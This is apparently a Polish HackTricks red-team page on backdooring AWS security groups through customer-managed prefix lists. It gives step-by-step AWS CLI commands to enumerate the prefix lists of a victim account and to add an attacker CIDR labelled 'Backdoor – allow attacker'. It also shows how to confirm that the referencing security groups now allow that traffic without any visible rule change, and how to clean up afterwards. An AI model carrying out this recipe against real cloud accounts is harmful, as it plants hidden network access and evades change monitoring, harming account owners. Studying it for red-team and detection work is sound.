AWS - Security Group Backdoor via Managed Prefix Lists

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Podsumowanie

Wykorzystaj zarządzane przez klienta Prefix Lists, aby stworzyć ukrytą ścieżkę dostępu. Jeśli reguła security group (SG) odwołuje się do zarządzanego Prefix List, każda osoba mająca możliwość modyfikacji tej listy może po cichu dodać CIDR-y kontrolowane przez atakującego. Każdy SG (a potencjalnie także Network ACL lub VPC endpoint), który odwołuje się do tej listy, od razu dopuści nowe zakresy bez widocznej zmiany SG.

Wpływ

  • Natychmiastowe rozszerzenie dozwolonych zakresów IP dla wszystkich SG odwołujących się do prefix listy, omijając kontrole zmian które monitorują tylko edycje SG.
  • Umożliwia trwałe ingress/egress backdoors: trzymaj złośliwy CIDR ukryty w prefix liście, podczas gdy reguła SG wygląda na niezmienioną.

Wymagania

  • Uprawnienia IAM:
  • ec2:DescribeManagedPrefixLists
  • ec2:GetManagedPrefixListEntries
  • ec2:ModifyManagedPrefixList
  • ec2:DescribeSecurityGroups / ec2:DescribeSecurityGroupRules (do identyfikacji podłączonych SG)
  • Opcjonalnie: ec2:CreateManagedPrefixList jeśli tworzysz nową do testów.
  • Środowisko: co najmniej jedna reguła SG odwołująca się do docelowego Prefix List zarządzanego przez klienta.

Zmienne

REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"

Kroki ataku

  1. Wyenumeruj kandydackie prefix lists i ich consumers
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table

aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'

Użyj aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID, aby potwierdzić, które reguły SG korzystają z tej listy.

  1. Dodaj CIDR atakującego do prefix listy
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
  1. Zweryfikuj propagację do security groups
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table

Ruch z $ENTRY_CIDR jest teraz dozwolony wszędzie tam, gdzie odwołuje się prefix list (zwykle w regułach wychodzących na egress proxies lub w regułach przychodzących na shared services).

Dowody

  • get-managed-prefix-list-entries odzwierciedla attacker CIDR i description.
  • describe-security-group-rules nadal pokazuje oryginalną regułę SG odwołującą się do prefix list (brak zapisanej modyfikacji SG), a mimo to ruch z nowego CIDR przechodzi.

Czyszczenie

aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks